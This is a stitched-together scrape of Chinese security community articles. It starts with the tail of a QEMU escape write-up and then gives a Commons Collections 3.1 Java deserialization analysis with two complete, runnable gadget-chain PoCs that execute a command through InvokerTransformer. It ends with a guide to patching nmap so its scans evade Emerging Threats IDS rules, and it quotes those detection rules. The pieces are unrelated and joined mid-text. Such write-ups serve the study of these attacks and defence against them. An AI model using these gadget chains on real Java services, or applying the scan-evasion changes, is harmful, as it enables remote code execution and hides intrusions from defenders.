buffer_phys_addr = get_phys_addr(buffer);
printf("buffer_phys_addr=0x%lx\n",buffer_phys_addr);
### 0x04 参考
<https://mp.weixin.qq.com/s/fkiFV7u3QjDsfHDcdwl6iA>
### 0x05 总结
距离上一次qemu逃逸很久了，很多操作不是很熟悉了，重新学习，收获很多 | 社区文章 |
## 漏洞点
漏洞点存在于 **commons-collections-3.1-src.jar!/org/apache/commons/collections/functors/InvokerTransformer.java**
。 在 **InvokerTransformer** 类中使用了反射，且反射参数均可控，所以我们可以利用这处代码调用任意类的任意方法。
接下来，我们需要找到一处可以循环调用 **transform** 方法的地方。全局搜索 **.transform(** 后发现， **commons-collections-3.1-src.jar!/org/apache/commons/collections/functors/ChainedTransformer.java**
类的 **transform** 方法刚好符合条件。
在 **ChainedTransformer** 类的 **transform** 方法中，对 **iTransformers**
数组进行了循环遍历，并调用其元素的 **transform** 方法。
可能有的人会有疑问，为什么要找一处循环调用 **transform** 方法的地方？如果你懂得如何使用 **Java反射** 来执行 **系统命令**
，也许就能明白这么做的原因。下面贴出了 **Demo** 代码。我们需要利用循环，构造出下面的链式调用。
// ExecuteCMD.java
import java.io.IOException;
public class ExecuteCMD {
public static void main(String [] args) throws IOException{
// 普通命令执行
Runtime.getRuntime().exec(new String [] { "deepin-calculator" });
// 通过反射执行命令
try{
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),
new String [] { "deepin-calculator" }
);
} catch(Exception e) {
e.printStackTrace();
}
}
}
此时，我们就可以将 **ChainedTransformer** 的 **Transformer** 属性按照如下构造：
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "deepin-calculator" })
};
这里 **transformers** 数组的第一个，我们选用的是 **ConstantTransformer** 类。因为该类执行
**transform** 方法后，会返回一个构造对象时传入的参数，在这里就是 **Runtime.class** 。
在构造好这些后，我们现在需要寻找哪里可以调用 **ChainedTransformer.transform()** 方法。网络上公开的主要是通过
**TransformedMap** 和 **LazyMap** 这两个利用链，接下来我们来逐个分析。
## TransformedMap利用链
先来看 **TransformedMap** 类，该类中有3个方法均调用了 **transform()** (对应下图126、141、169行代码)，分别是
**transformKey()、transformValue()、checkSetValue()**
，且类名均可控(对应下图83-84行代码)。但是这3个方法都被 **protected** 修饰，所以看看哪些方法调用了它们。
我们可以看到公共方法 **put()、putAll()** 调用了 **transformKey()、transformValue()** ，而
**checkSetValue()** 却没有看到在哪调用。不过我们可以从注释中看出些端倪。注释说当调用该类的 **setValue** 方法时，会自动调用
**checkSetValue** 方法。该类 **setValue** 方法继承自父类
**AbstractInputCheckedMapDecorator** ，我们看其父类代码。
**AbstractInputCheckedMapDecorator** 的根父类实际就是 **Map** ，所以我们现在只需要找到一处
**readObject** 方法，只要它调用了 **Map.setValue()** 方法，即可完成整个反序列化链。下面，我们来看满足这个条件的
**AnnotationInvocationHandler** 类，该类属于 **JDK1.7** 自带的，代码如下。
我们可以在 **AnnotationInvocationHandler** 类的 **readObject** 方法中看到 **setValue**
方法的调用。而想要成功执行到此处，我们需要先绕过上图360行的if条件。其中需要关注的就是 **var7、var8** 两个变量的值。实际上，
**var7** 的值只与 **this.type** 有关； **var8** 只与 **this.memberValues**
有关，所以我们转而关注构造函数。在构造函数中，程序要求我们传入的第一个参数必须继承 **java.lang.annotation.Annotation**
接口。而在 **Java** 中，所有的注解实际上都继承自该接口。所以我们第一个变量传入一个JDK自带注解，这样第二个 **Map**
类型的变量也可以正常赋值。
现在来看看如何去构造这两个 **this.type、this.memberValues** 这两个变量。实际上，并不是将 **this.type**
设置成任意注解类都能执行 **POC** 。网络上很多分析文章将 **this.type** 设置成
**java.lang.annotation.Retention.class**
，但是没有说为什么这个类可以。而在调试代码的过程中，我发现这个问题和注解类中有无定义方法有关。只有定义了方法的注解才能触发 **POC** 。例如
**java.lang.annotation.Retention、java.lang.annotation.Target** 都可以触发，而
**java.lang.annotation.Documented** 则不行。而且我们 **POC** 中， **innermap**
必须有一个键名与注解类方法名一样的元素(如下图箭头指向)。而注解类方法返回类型将是 **var7** 的值。
具体怎么影响，调试下
**/opt/java/jdk1.7.0_80/jre/lib/rt.jar!/sun/reflect/annotation/AnnotationType.class:AnnotationType()**
就知道了，这里不再赘述。
最终构造 **TransformedMap** 利用链如下：
// PopChain1.java
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class Demo {
public static Object generatePayload() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "deepin-calculator" })
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "mochazz");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
//通过反射获得AnnotationInvocationHandler类对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//这里需要设置Accessible为true，否则序列化失败
ctor.setAccessible(true);
//通过newInstance()方法实例化对象
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}
public static void main(String[] args) throws Exception {
payload2File(generatePayload(),"obj");
payloadTest("obj");
}
public static void payload2File(Object instance, String file)
throws Exception {
//将构造好的payload序列化后写入文件中
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//读取写入的payload，并进行反序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}
## LazyMap利用链
在分析 **LazyMap** 这条利用链之前，我们得先了解 **Java** 中代理模式的概念。
代理实际上是：在不修改原函数代码的基础上，为其添加额外的功能代码，有点像 **Python** 中的装饰器。下面分别来看静态代理与动态代理的示例。
**静态代理示例：**
// StaticProxyDemo.java
public class StaticProxyDemo {
public static void main(String[] args){
Animals catProxy = new CatProxy();
catProxy.say();
}
}
interface Animals{
void say();
}
class Cat implements Animals{
public void say() {
System.out.println("I'm a cat!");
}
}
class CatProxy implements Animals {
private Cat cat = new Cat();
public void say() {
System.out.println("Before invoke say!");
cat.say();
System.out.println("After invoke say!");
}
}
/*
执行结果：
Before invoke say!
I'm a cat!
After invoke say!
*/
**动态代理示例：**
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class DynamicProxyDemo {
public static void main(String[] args){
Animals cat = new Cat();
InvocationHandler handler = (InvocationHandler) new CatProxyHandle(cat);
Animals catProxy = (Animals) Proxy.newProxyInstance(Cat.class.getClassLoader(), Cat.class.getInterfaces(), handler);
catProxy.say();
}
}
interface Animals{
void say();
}
class Cat implements Animals{
public void say() {
System.out.println("I'm a cat!");
}
}
class CatProxyHandle implements InvocationHandler {
private Object obj;
public CatProxyHandle(Object obj) {
this.obj = obj;
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("Before invoke " + method.getName());
method.invoke(obj, args);
System.out.println("After invoke " + method.getName());
return null;
}
}
/*
执行结果：
Before invoke say
I'm a cat!
After invoke say
*/
通过上面动态代理的示例，我们可以清晰看到，程序会调用实现了代理类(必须实现 **InvocationHandler** )的 **invoke**
方法，然后再通过反射调用被代理类的方法。
在了解了上面这些概念之后，我们就可以直接来看 **LazyMap** 这个利用链。首先，我们在 **LazyMap:get()** 中发现调用了
**transform** 方法，且前面的 **factory** 可控，所以我们继续搜下哪里调用了这个 **get** 方法。
在 **AnnotationInvocationHandler** 类的 **invoke** 方法中，我们可以看到有 **get()** 方法调用，且
**this.memberValues** 可控。通过动态代理，我们就可以触发这个 **invoke** 方法。
最终构造 **LazyMap** 利用链如下：
// PopChain2.java
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
public class PopChain2 {
public static Object generatePayload() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "deepin-calculator" })
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "mochazz");
Map outmap = LazyMap.decorate(innermap,transformerChain);
//通过反射获得AnnotationInvocationHandler类对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//这里需要设置Accessible为true，否则序列化失败
ctor.setAccessible(true);
//通过newInstance()方法实例化对象
InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outmap);
Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);
Object instance = ctor.newInstance(Retention.class, mapProxy);
return instance;
}
public static void main(String[] args) throws Exception {
payload2File(generatePayload(),"obj");
payloadTest("obj");
}
public static void payload2File(Object instance, String file)
throws Exception {
//将构造好的payload序列化后写入文件中
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//读取写入的payload，并进行反序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}
## 参考
[Java反序列化利用链挖掘之CommonsCollections1](http://blog.0kami.cn/2019/10/24/study-java-deserialized-commonscollections3-1/)
[以Commons-Collections为例谈Java反序列化POC的编写](https://www.anquanke.com/post/id/195865) | 社区文章 |
## 说明
修改nmap的特征流量，过 emergingthreats 的公开ids规则。
参考
> <https://github.com/al0ne/Nmap_Bypass_IDS>
前置资料
* ip 包格式
* tcp 包格式
* tcp 三次握手四次挥手
### 规则
规则语法
>
> <https://redmine.openinfosecfoundation.org/projects/suricata/wiki/Suricata_Rules>
> <http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node33.html>
nmap 扫描说明
> <https://nmap.org/man/zh/man-port-scanning-techniques.html>
### nmap-service-probes 文件
> <https://www.cnblogs.com/liun1994/p/6986544.html>
> <https://nmap.org/book/vscan-fileformat.html>
查询不同服务的探测报文和解析识别响应的匹配表达式。面向行进行解释。
#### 语句
* Exclude Directive
`Exclude <port specification>`
此指令从版本扫描中排除指定的端口，仅使用一次，在所有探针之前，文件的顶部。
当前为 `Exclude T:9100-9107`
`--allports`指令，可以覆盖Exclude指令。
这里尝试了下载9103端口开了个http服务，运行 `nmap -sV 127.0.0.1 -p9000-9200 --script=http-headers`
结果如下，明显没进行服务识别。 **将自己的服务开在9100-9107 端口 也是个增加攻击者筛选成本的好办法**
PORT STATE SERVICE VERSION
9103/tcp open jetdirect? Excluded from version scan
* Probe Directive
`Probe <protocol> <probename> <probestring>`
* protocol TCP或UDP
* probename probe的名称 描述
* probestring 告诉nmap发送什么数据包
`q|.....|` 例如get 请求 `q|GET / HTTP/1.0\r\n\r\n|`
支持转义 `\\ \0, \a, \b, \f, \n, \r, \t, \v, and \xHH (hex编码)`
* match Directive
`match <service> <pattern> [<versioninfo>]`
* service 服务名 ssh, smtp, http...
* pattern
`m/[regex]/[opts]`regex格式采用Perl语言格式；目前opts支持“i”，代表的含义是匹配不区分大小写；“s”：代表在‘.’字符后面有新行
* versioninfo
| Field format | Value description |
| -------------------- |
--------------------------------------------------------- |
| p/vendorproductname/ | 供应商或者服务明 |
| v/version/ | 应用的版本信息，$1的意思由match指令中第一个()的内容替换； |
| i/info/ | 其他进一步的信息 |
| h/hostname/ | 主机名 |
| o/operatingsystem/ | 服务在什么操作系统之上 |
| d/devicetype/ | 服务运行的设备类型 |
| cpe:/cpename/[a] | nmap通用的指纹格式 |
在某些情况下，帮助函数可以用在替换之前，
i/$P(3)/
$P()函数将会过滤掉不可打印的字符；另一个帮助函数是 $SUBST().在打印之前做替换；
v/$SUBST(1,"_",".")/ 意思是在打印$1之前，将'_'替换成'.'打印。
* softmatch Directive
`softmatch <service> <pattern>`
示例：
softmatch ftp m/^220 [-.\w ]+ftp.*\r\n$/i
softmatch smtp m|^220 [-.\w ]+SMTP.*\r\n|
softmatch pop3 m|^\+OK [-\[\]\(\)!,/+:<>@.\w ]+\r\n$|
与match一样，不过softmatch之后，扫描继续，但是服务名作为已知条件。
* ports and sslports Directives
`ports <portlist>`
示例：
ports 21,43,110,113,199,505,540,1248,5432,30444
ports 111,4045,32750-32810,38978
告诉Nmap探针所要发送数据的端口，在每个probe下面，仅使用一次
* totalwaitms Directive
`totalwaitms <milliseconds>`
等待时间
* tcpwrappedms Directive
`tcpwrappedms <milliseconds>`
该指令仅用于NULL探针。 如果服务在此计时器用尽之前关闭TCP连接，则该服务标记为tcpwrapped。 否则，匹配继续照常。
* rarity Directive
`rarity <value between 1 and 9>`
大致对应于这种探测很少会返回有用结果。 数字越大，探测器就越罕见，对服务的可能性就越小。
更多细节可以在[“探针选择和稀有度”](https://nmap.org/book/vscan-technique.html#vscan-selection-and-rarity)一节中找到。
**\--version-intensity 用来调整使用哪些等级的Probe**
nmap -sV --version-intensity <intensity level between 0 and 9> 设置0—9 对应的Probe 做匹配
nmap -sV --version-light 设置intensity 为 2
nmap -sV --version-all 设置intensity 为 9 即全部匹配
* fallback Directive
`fallback <Comma separated list of probes>`
此指令用于指定哪个探针作为回退，如果当前探针没有匹配项；由于前一个探针可能返回数据很慢，因此可以开启新的探针，将新探针的结果与前面的匹配。
#### 示例
# This probe sends a SIP OPTIONS request.
# Most of the numbers, usernames, and hostnames are abitrary.
##############################NEXT PROBE##############################
Probe TCP SIPOptions q|OPTIONS sip:nm SIP/2.0\r\nVia: SIP/2.0/TCP nm;branch=foo\r\nFrom: <sip:qq@qq.com>;tag=root\r\nTo: <sip:alibaba@alibaba.com>\r\nCall-ID: 50000\r\nCSeq: 42 OPTIONS\r\nMax-Forwards: 70\r\nContent-Length: 0\r\nContact: <sip:qq@qq.com>\r\nAccept: application/sdp\r\n\r\n|
rarity 5
ports 406,5060,8081,31337
sslports 5061
fallback GetRequest
# Some VoIP phones take longer to respond
totalwaitms 7500
match atalla m|^<00#020035#0101##>\r\n<00#020035#0101##>\r\n<00#020035#0101##>\r\n| p/Atalla Hardware Security Module payment system/ d/specialized/
match honeypot m|^HTTP/1\.0 200 OK\r\nAllow: OPTIONS, GET, HEAD, POST\r\nContent-Length: 0\r\nConnection: close\r\n\r\n| p/Dionaea Honeypot httpd/
match honeypot m|^SIP/2\.0 200 OK\r\nContent-Length: 0\r\nVia: SIP/2\.0/TCP nm;branch=foo\r\nFrom: sip:qq@qq.com;tag=root\r\nAccept: application/sdp\r\nTo: sip:alibaba@alibaba.com\r\nContact: sip:alibaba@alibaba.com\r\nCSeq: 42 OPTIONS\r\nAllow: REGISTER, OPTIONS, INVITE, CANCEL, BYE, ACK\r\nCall-ID: 50000\r\nAccept-Language: en\r\n\r\n| p/Dionaea Honeypot sipd/
......
## 检测规则以及对应修改
#### ping 扫描
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"GPL SCAN PING NMAP"; dsize:0; itype:8; reference:arachnids,162; classtype:attempted-recon; sid:2100469; rev:4; metadata:created_at 2010_09_23, updated_at 2010_09_23;)
* dsize 检查包的数据部分大小 0
* itype 检测icmp type 值
基本用不到ping 扫描
#### -sS (TCP SYN扫描)
发送一个SYN报文， 就像您真的要打开一个连接，然后等待响应。 SYN/ACK表示端口在监听 (开放)，而 RST
(复位)表示没有监听者。如果数次重发后仍没响应， 该端口就被标记为被过滤。如果收到ICMP不可到达错误
(类型3，代码1，2，3，9，10，或者13)，该端口也被标记为被过滤。
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -sS window 2048"; fragbits:!D; dsize:0; flags:S,12; ack:0; window:2048; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2000537; classtype:attempted-recon; sid:2000537; rev:8; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -sS window 1024"; fragbits:!D; dsize:0; flags:S,12; ack:0; window:1024; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2009582; classtype:attempted-recon; sid:2009582; rev:3; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -sS window 3072"; fragbits:!D; dsize:0; flags:S,12; ack:0; window:3072; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2009583; classtype:attempted-recon; sid:2009583; rev:3; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -sS window 4096"; fragbits:!D; dsize:0; flags:S,12; ack:0; window:4096; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2009584; classtype:attempted-recon; sid:2009584; rev:2; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
* fragbits 检查ip头的分片标志位 !D
* dsize 检查包的数据部分大小 0
* flags 检查tcp flags的值 S,12
这个和速率有关系
保留位“1”和“2”分别用“C”和“E”代替，以匹配RFC 3168，“向IP添加显式拥塞通知（ECN）”。
“1”和“2”的旧值对于flag关键字仍然有效，但现在已弃用。
| flag | 说明 |
| ---- | ----------------|
| F | FIN - Finish (LSB in TCP Flags byte) |
| S | SYN - Synchronize sequence numbers |
| R | RST - Reset |
| P | PSH - Push |
| A | ACK - Acknowledgment |
| U | URG - Urgent |
| C | CWR - Congestion Window Reduced (MSB in TCP Flags byte)
简单来说就是网络不是很畅通了，通知对方减少阻塞窗口，发包速度发慢一点。 |
| E | ECE - ECN-Echo (If SYN, then ECN capable. Else, CE flag in IP header is
set)
ECN两个作用，在TCP三次握手时表明TCP端是否支持ECN；在传输数据时，发送方是无法知道网络是否畅通的，但是经过重重的路由后，路由根据网络的情况可以知道是否阻塞，路由会设置在IP层会设置的相应的标志，即接收端发现了拥塞。CWR为发送端缩小拥塞窗口标志，用来通知发送端它已经收到了设置ECN标志，应该减慢发包速度。关于ECN的详细描述请参考
|
| 0 | No TCP Flags Set The ollowing modifiers can be set to change the match
criteria: |
| 2 | Reserved bit 2 |
| 1 | Reserved bit 1 (MSB in TCP Flags byte) |
| + | match on the specified bits, plus any others |
| * | match if any of the specified bits are set |
| ! | match if the specified bits are not set |
* ack 检查tcp应答（acknowledgement）的值 0
* window 关键字用于检查特定的TCP窗口大小。 2048 1024 3072 4096
扫描报文
修改tcp窗口大小即可
修改 tcpip.cc
#### -sT (TCP connect()扫描)
创建connect() 系统调用进行扫描。
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"GPL SCAN nmap TCP"; ack:0; flags:A,12; flow:stateless; reference:arachnids,28; classtype:attempted-recon; sid:2100628; rev:8; metadata:created_at 2010_09_23, updated_at 2010_09_23;)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"GPL SCAN nmap XMAS"; flow:stateless; flags:FPU,12; reference:arachnids,30; classtype:attempted-recon; sid:2101228; rev:8; metadata:created_at 2010_09_23, updated_at 2010_09_23;)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"GPL SCAN nmap fingerprint attempt"; flags:SFPU; flow:stateless; reference:arachnids,05; classtype:attempted-recon; sid:2100629; rev:7; metadata:created_at 2010_09_23, updated_at 2010_09_23;)
`flags:A,12` 只检查了标志位，应该降速扫描即可。
#### -sU (UDP扫描)
#### -sN; -sF; -sX (TCP Null，FIN，and Xmas扫描)
这三种扫描类型 (甚至用下一节描述的 --scanflags 选项的更多类型) 在TCP RFC 中发掘了一个微妙的方法来区分open(开放的)和
closed(关闭的)端口。第65页说“如果 [目标]端口状态是关闭.... 进入的不含RST的报文导致一个RST响应。” 接下来的一页
讨论不设置SYN，RST，或者ACK位的报文发送到开放端口: “理论上，这不应该发生，如果您确实收到了，丢弃该报文，返回。 ”
如果扫描系统遵循该RFC，当端口关闭时，任何不包含SYN，RST，或者ACK位的报文会导致
一个RST返回，而当端口开放时，应该没有任何响应。只要不包含SYN，RST，或者ACK， 任何其它三种(FINPSH，and
URG)的组合都行。Nmap有三种扫描类型利用这一点：
Null扫描 (-sN)
不设置任何标志位(tcp标志头是0)
FIN扫描 (-sF)
只设置TCP FIN标志位。
Xmas扫描 (-sX)
设置FIN，PSH，和URG标志位，就像点亮圣诞树上所有的灯一样。
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -f -sF"; fragbits:!M; dsize:0; flags:F,12; ack:0; window:2048; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2000543; classtype:attempted-recon; sid:2000543; rev:7; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -f -sN"; fragbits:!M; dsize:0; flags:0,12; ack:0; window:2048; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2000544; classtype:attempted-recon; sid:2000544; rev:7; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -f -sX"; fragbits:!M; dsize:0; flags:FPU,12; ack:0; window:2048; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2000546; classtype:attempted-recon; sid:2000546; rev:7; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
除了探测报文的标志位不同，这三种扫描在行为上完全一致。 如果收到一个RST报文，该端口被认为是 closed(关闭的)，而没有响应则意味着 端口是open|filtered(开放或者被过滤的)。 如果收到ICMP不可到达错误(类型 3，代号 1，2，3，9，10，或者13)，该端口就被标记为 被过滤的。
这些扫描的关键优势是它们能躲过一些无状态防火墙和报文过滤路由器。 另一个优势是这些扫描类型甚至比SYN扫描还要隐秘一些。但是别依赖它 -- 多数 现代的IDS产品可以发现它们。一个很大的不足是并非所有系统都严格遵循RFC 793。 许多系统不管端口开放还是关闭，都响应RST。 这导致所有端口都标记为closed(关闭的)。 这样的操作系统主要有Microsoft Windows，许多Cisco设备，BSDI，以及IBM OS/400。 但是这种扫描对多数UNIX系统都能工作。这些扫描的另一个不足是 它们不能辨别open(开放的)端口和一些特定的 filtered(被过滤的)端口，从而返回 open|filtered(开放或者被过滤的)。
#### -sA (TCP ACK扫描)
这种扫描与目前为止讨论的其它扫描的不同之处在于 它不能确定open(开放的)或者 open|filtered(开放或者过滤的))端口。
它用于发现防火墙规则，确定它们是有状态的还是无状态的，哪些端口是被过滤的。
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -sA (1)"; fragbits:!D; dsize:0; flags:A,12; window:1024; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2000538; classtype:attempted-recon; sid:2000538; rev:8; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -sA (2)"; fragbits:!D; dsize:0; flags:A,12; window:3072; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2000540; classtype:attempted-recon; sid:2000540; rev:8; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
可以通过修改 tcp window
#### -sV -sO
nmap使用-O参数扫描时会发送tcp，udp，icmp 然后在根据响应的tcp window，TTL，IPID等对比指纹库识别操作系统。
* ip_proto ip协议号 21
* content CCCCCCCCCCCCCCCCCCCC
alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -sO"; dsize:0; ip_proto:21; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2000536; classtype:attempted-recon; sid:2000536; rev:7; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
alert udp $EXTERNAL_NET 10000: -> $HOME_NET 10000: (msg:"ET SCAN NMAP OS Detection Probe"; dsize:300; content:"CCCCCCCCCCCCCCCCCCCC"; fast_pattern:only; content:"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"; depth:255; content:"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"; within:45; classtype:attempted-recon; sid:2018489; rev:3; metadata:created_at 2014_05_20, updated_at 2014_05_20;)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -f -sV"; fragbits:!M; dsize:0; flags:S,12; ack:0; window:2048; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2000545; classtype:attempted-recon; sid:2000545; rev:8; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
osscan2.cc
查看注释,发现 `nbase\nbase_rnd.c`有生成随机bytes的函数get_random_bytes，进行修改,随机生成填充。
#### sip
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET SCAN NMAP SIP Version Detect OPTIONS Scan"; flow:established,to_server; content:"OPTIONS sip|3A|nm SIP/"; depth:19; classtype:attempted-recon; sid:2018317; rev:1; metadata:created_at 2014_03_25, updated_at 2014_03_25;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 5060:5061 (msg:"ET SCAN NMAP SIP Version Detection Script Activity"; content:"Via|3A| SIP/2.0/TCP nm"; content:"From|3A| <sip|3A|nm@nm"; within:150; fast_pattern; classtype:attempted-recon; sid:2018318; rev:1; metadata:created_at 2014_03_25, updated_at 2014_03_25;)
替换`nmap-service-probes`中
`nm@nm nm2@nm2` `nmap` 等关键词
#### scripts
alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET SCAN NMAP SQL Spider Scan"; flow:established,to_server; content:"GET"; http_method; content:" OR sqlspider"; http_uri; reference:url,nmap.org/nsedoc/scripts/sql-injection.html; classtype:web-application-attack; sid:2013778; rev:2; metadata:created_at 2011_10_19, updated_at 2011_10_19;)
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN Nmap Scripting Engine User-Agent Detected (Nmap Scripting Engine)"; flow:to_server,established; content:"Mozilla/5.0 (compatible|3b| Nmap Scripting Engine"; nocase; http_user_agent; depth:46; reference:url,doc.emergingthreats.net/2009358; classtype:web-application-attack; sid:2009358; rev:5; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN Nmap Scripting Engine User-Agent Detected (Nmap NSE)"; flow:to_server,established; content:"Nmap NSE"; http_user_agent; reference:url,doc.emergingthreats.net/2009359; classtype:web-application-attack; sid:2009359; rev:4; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
alert tcp any any -> $HOME_NET any (msg:"ET SCAN Nmap NSE Heartbleed Request"; flow:established,to_server; content:"|18 03|"; depth:2; byte_test:1,<,4,2; content:"|01|"; offset:5; depth:1; byte_test:2,>,2,3; byte_test:2,>,200,6; content:"|40 00|Nmap ssl-heartbleed"; fast_pattern:2,19; classtype:attempted-recon; sid:2021023; rev:1; metadata:created_at 2015_04_28, updated_at 2015_04_28;)
alert tcp $HOME_NET any -> any any (msg:"ET SCAN Nmap NSE Heartbleed Response"; flow:established,from_server; content:"|18 03|"; depth:2; byte_test:1,<,4,2; byte_test:2,>,200,3; content:"|40 00|Nmap ssl-heartbleed"; fast_pattern:2,19; classtype:attempted-recon; sid:2021024; rev:1; metadata:created_at 2015_04_28, updated_at 2015_04_28;)
alert http $HOME_NET any -> any any (msg:"ET SCAN Possible Nmap User-Agent Observed"; flow:to_server,established; content:"|20|Nmap"; http_user_agent; fast_pattern; metadata: former_category SCAN; classtype:web-application-attack; sid:2024364; rev:3; metadata:affected_product Any, attack_target Client_and_Server, deployment Perimeter, signature_severity Audit, created_at 2017_06_08, performance_impact Low, updated_at 2017_06_13;)
* 修改 scripts\http-sql-injection.nse
`OR sqlspider -> OR google`
